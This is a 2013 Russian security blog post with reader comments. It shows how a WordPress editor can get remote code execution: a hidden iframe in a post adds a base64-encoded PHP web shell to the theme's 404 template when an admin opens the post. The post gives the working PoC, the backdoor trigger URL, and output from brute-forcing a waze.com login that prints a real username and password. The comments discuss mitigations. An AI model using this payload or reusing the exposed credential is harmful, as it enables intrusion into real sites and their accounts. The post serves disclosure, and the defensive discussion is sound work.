Безопасность как искусство
120,42
рейтинг
18 сентября 2013 в 15:23

Разработка → WordPress: небезопасен из коробки — получаем RCE с правами редактора. И еще о Google, стартапе и 1 миллиарде долларов

Всем приятного чтения. Я хочу рассказать о небезопасной фиче во всемирно известном движке для блогов — WordPress, которая присутствует в нем уже долгое время. О ней многим известно (в т.ч. эту возможность признают как «законную» сами разработчики), но я точно не уверен, описывал ли кто-то её использование именно в предлагаем в статье векторе атаки (лично я найти не смог).

Множество компаний, таких как Microsoft, Nokia, Google используют WordPress. Администраторы блогов выдают права редакторов своим PR-службам… И вот тут главный момент — в WordPress только две роли имеют права использовать javascript внутри постов — администраторы и редакторы.

Вся идея в одно предложение: создаём пост, содержащий зловредный JS. Если администратор открывает наш пост — мы получаем Remote Command Execution.

Несколько дней назад у меня появилось время и желание покопать какой-нибудь сайт Google. За цель был взят стартап — waze.com, купленный Google за 1 миллиард $. Сразу же был найден WordPress, и я решил перебрать пароли юзеров по довольно малой базе — rockyou-75.txt. Проснувшись утром увидел заветное:

[+] Starting the password brute forcer

  [SUCCESS] Login : di-ann Password : illuminati


  +----+--------+------+------------+
  | Id | Login  | Name | Password   |
  +----+--------+------+------------+
  |    | di-ann |      | illuminati |
  +----+--------+------+------------+

[+] Finished at Sat Sep  7 09:47:27 2013
[+] Elapsed time: 00:42:52
Exiting!


Бинго! Нашелся пароль от пользователя, с правами редактора. Конечно же сразу захотелось получить RCE на сервере. Но… известные способы сообщают, что нужно иметь права администора блога. Тогда шелл можно залить через:

  • Редактирование тем и внедрение своего PHP кода;
  • Заливка своего модуля с вредоносным кодом.

Эти же действия мы можем сделать через js. Создаём пост под редактором, в котором открываем скрытый iframe, и в нем выполняем нужные действия. Если пост откроет админ — мы получим RCE.

PoC exploit:
<iframe name='evilframe' src='/wordpress/wp-admin/theme-editor.php?file=404.php&theme=twentythirteen' style='display:none' onload="if (evilframe.document.getElementById('newcontent').value.indexOf('system') == -1) {evilframe.document.getElementById('newcontent').value += atob('PD9waHAgQHN5c3RlbSgkX0dFVFsnY21kJ10pOyA/Pg=='); evilframe.document.getElementById('submit').click();}"></iframe> 


Построчно:
iframe name='evilframe' src='/wordpress/wp-admin/theme-editor.php?file=404.php&theme=twentythirteen' // создаём iframe с редактированием шаблона страницы 404 текущей темы (twentythirteen)
style='display:none'  //  делаем iframe невидимым
onload= // как только загрузился
if (evilframe.document.getElementById('newcontent').value.indexOf('system') == -1) // проверяем, что шаблон темы уже не содержит backdoor (вызов функции system)
evilframe.document.getElementById('newcontent').value += atob('PD9waHAgQHN5c3RlbSgkX0dFVFsnY21kJ10pOyA/Pg=='// добавляем к текущему значению темы код <?php @system($_GET['cmd']); ?>
evilframe.document.getElementById('submit').click() // сохраняем тему


Также мы можем выполнять любые действия под администратором, например:
  • Создавать нового пользователя с правами администратора;
  • Изменить пароль админу (т.к. в WordPress не требуется старый пароль при его смене);
  • Изменять пароль любому юзеру;
  • И любые другие действия, доступные только админу.


Итак, с помощью PoC кода выше мы внедрим бэкдор в шаблон темы twentythirteen страницы 404, как только любой авторизованный админ откроет наш пост. Это касается в т.ч. последней версии WordPress — 3.6.1

После внедрения бэкдора RCE будет доступен по следующему запросу:

http://localhost/wordpress/?p=123123123&cmd=id


В случае с Google я не стал внедрять код выше, а просто записал видео, как можно получить RCE. Они сразу же удалили WordPress и переехали на blogger.com. Правильное решение. Также я нашел и другие баги, но не получил денег, так как ресурс находится в blackout периоде (6 месяцев после покупки). Но добавили в зал славы :-)

Демо (которое было отправлено в Google):
Автор: @BeLove
Digital Security
рейтинг 120,42
Безопасность как искусство

Комментарии (33)

  • 0
    Как — то руки сразу зачесались и сами в google полезли сайты на WordPress искать :)
    Но мы же порядочные все люди :)
  • 0
    Все гениальное просто.
    Эх, нужно было подождать ещё пару месяцев =D
  • +1
    Вы ещё напишите чем именно брутили пароль, и возможно толпа скрипт-киддисов пробежится по wordpress-сайтам)
    • 0
      Мои блоги и так каждый день фиксируют по несколько тысяч подборов, так что вряди-ли что что-то изменится. habrahabr.ru/post/188932/
      • 0
        Опа, на мои оказывается тоже. Надо что-то делать))
        • 0
          Когда эта история началась мне заботливый хостер прислал рекомендацию запаролить wp-login.php =)
          • 0
            Я сам себе хостер, сервачок стоит на шкафу :)
            Надо плагин найти, который ограничивает попытки логина. Пока времени нет этим заняться.
    • +1
      wpscan.org/
      Если-скрипт кидди сможет корректно развернуть окружение для него :)
      • +1
        >WPScan comes pre-installed on the following Linux distributions:
        А уж систему установить все смогут.
  • 0
    защита от подобного брутфорса уровня хостинга: habrahabr.ru/post/190112/

    А вообще, если вы получили доступ к шаблону, вы можете выполнять даже php в шаблонах. Ничего не мешает логировать POST на форме логина, например.
    • 0
      В статье как раз рассматривается пример внедрения PHP кода в шабон.
      • 0
        Я понимаю. Я просто к тому, что не только в WP такое возможно.
  • +10
    1. Сбрутил редактора.
    2. Проводим XSS(условно говоря) и получилаем шелл/права админа.
    В чем «небезопасность» из коробки, честно говоря, я не понял. Другие движки не брутятся? Брутятся. На других движках нельзя провести подобную атаку? Да на многих можно, зависит от того, как распределяются права и на что.
    Для того, что бы защитить свой сайт от подобного — есть куча решений.
    Редактора того гуглосервиса еще и с работы пнут за словарный пароль.
    Это не камень в ваш огород, просто непонятен заголовок
    • –2
      Мое мнение, что не должно быть права исполнения js от редактора (только администраторам). В примере в статье показано, как редактор (возможно, законный) может заполучить RCE. Почему администратор должен этого опасаться? Почему оставлена такая возможность пользователю, на уровень ниже? Открытые вопросы.
      • 0
        Опенсурс бесплатный движок. В чистом виде его юзают под бложики, обычно, для более крупных проектов меняют под свои нужды, это не так уж и сложно. Не вижу ничего плохого в js для редактора, если у редактора есть голова, хороший пасс или авторизация по каким-нибудь vk api. Для пользователей, да, он не нужен, но админ сам решает кому что и как, тем более в таких дорогих проектах :)
        Я, например, никогда не надеюсь на движок, всегда урезаю все права до минимума, который позволит выполнять свои функции.
        Разрабам можно только посоветовать сделать более широкую кастомизацию через админку.
    • +5
      Вставка Javasript через редактор — это серьёзная дыра.
    • +1
      +1. Глупо обвинять WordPress если человек сам не прав. Нужно понимать, что именно редактор это основная роль в WordPress, а роль администратора должна использоваться только для административных задач — работа с плагинами, темами и т.д. А редактор должен иметь права на вставку всяких js, иначе как же AdSense, баннерные сети, твиттер виджеты, подписки на рассылки и всё остальное?

      Опять же, при желании можно одной строчкой отключить нефильтрованный HTML, чего я советую всем, кто сталкивается с многопользовательскими блогами и сайтами, и с работой с людьми, которым они не доверяют.
      • 0
        Здесь действительно разные взгляды на ситуацию, в статье рассматривается именно со стороны «безопасника».

        Ваши доводы верны в плане функциональности и юзабилити, но мы же рассматриваем ситуацию с другой стороны (стороны безопасности). Когда даны определенные права человеку и он не должен иметь скрытой технической возможности их повысить (privilege escalation). Здесь же такая возможность имеется.

        Другое дело, если бы он имел выполнить JS только на главной странице, и не имел доступа в админ панель.
  • +6
    Странно, мне это всегда казалось нормальным поведением.
    Ты дал права на редактор человеку, если он безответственный (слабый пароль) или просто негодяй (внедрит код), это твои проблемы, а не редактора.
    Если дать ключи незнакомцу и вас ограбят, разве это проблема слабого замка?
    • 0
      Если дать ключи знакомому от сарая/веранды — то это ваша проблема. Если через сарай/веранду попасть в дом очень легко — то, ИМХО, это проблема архитектуры дома.
      • +2
        Проблема архитектуры, это когда у вас балкон свисает до земли и в дом легко пролезть через него, а когда через гараж можно зайти в дом, давать ключи от гаража нужно только доверенному лицу. imho.
    • +2
      Именно поэтому когда я даю доступ редактору (или сдаем сайт заказчику) — генерирую сложный пароль и сообщаю о важности его не менять или как минимум учесть сложность пароли при его изменении. Все-таки ответственность на главном админе будет всегда за весь ресурс.

      Проблема: Неопытные админы и редакторы — получаем RCE с правами редактора. И еще о Google, стартапе и 1 миллиарде долларов
    • 0
      Нормальным поведением казалось, что пользователь может получить админские права?
      • 0
        Да, ведь если вы дали ему ключи от дома, он может зайти, взять ваше ружье и пристрелить вас.
        • +2
          Вот только ружье хранится как положено в сейфе и закрыто на отдельный замок. Если ключ от дома позволяет открыть этот замок, то что-то не то с безопасностью.

          Вообще как-то считал, что возможность эскалации привилегий одна из серьезнейших уязвимостей.
          • 0
            Согласен, отчасти.
          • 0
            Но согласитесь и вы, если дать ключи от дома горничной, она может украсть ваши вещи и позвать сообщников со своими ружьями, чтобы прикончить вас.
  • 0
    Это же и исправить довольно легко, вешаешь esc_js на фильтр контента поста и все, вопрос в том почему это еще не сделано по умолчанию…
    • 0
      esc_js вешать не надо, достаточно отключить нефильтрованный HTML как я писал ниже. По умолчанию это не сделано, поскольку редакторы в своих статьях часто используют js код для баннеров, соц. кнопок, новостных рассылок, форм, опросов и для многого другого.
  • +1
    А еще можно подобрать пароль админа, и тогда прямой доступ к админке..
  • +1
    Уязвимость тут не в WordPress, а здесь: «Администраторы блогов выдают права редакторов своим PR-службам…» — они бы им ещё сразу SSH давали. А если и давать права администратора или редактора посторонним лицам, то нужно просто отключить нефильтрованный HTML для всех, как это сделано на WordPress.com и во многих других сетях:

    define( 'DISALLOW_UNFILTERED_HTML', true );
    
    • 0
      Что это за «нефильтрованный HTML»?
      • 0
        В WordPress используется KSES для обработки содержимого записей, страниц, виджетов и прочее: codex.wordpress.org/Function_Reference/wp_kses

        Это позволяет указывать какими именно тегами и аттрибутами HTML можно пользоваться, а какие должны вырезаться при сохранении контента — это и есть фильтрация HTML и для некоторых ролей (администратору и редактору по умолчанию) подобная фильтрация отключена, чтобы пользователи могли вставлять свои js снипеты, iframe'ы и прочее.

        Директивой DISALLOW_UNFILTERED_HTML в файле конфигурации wp-config.php можно включить фильтрацию HTML для всех ролей.

Только зарегистрированные пользователи могут оставлять комментарии. Войдите, пожалуйста.

Самое читаемое Разработка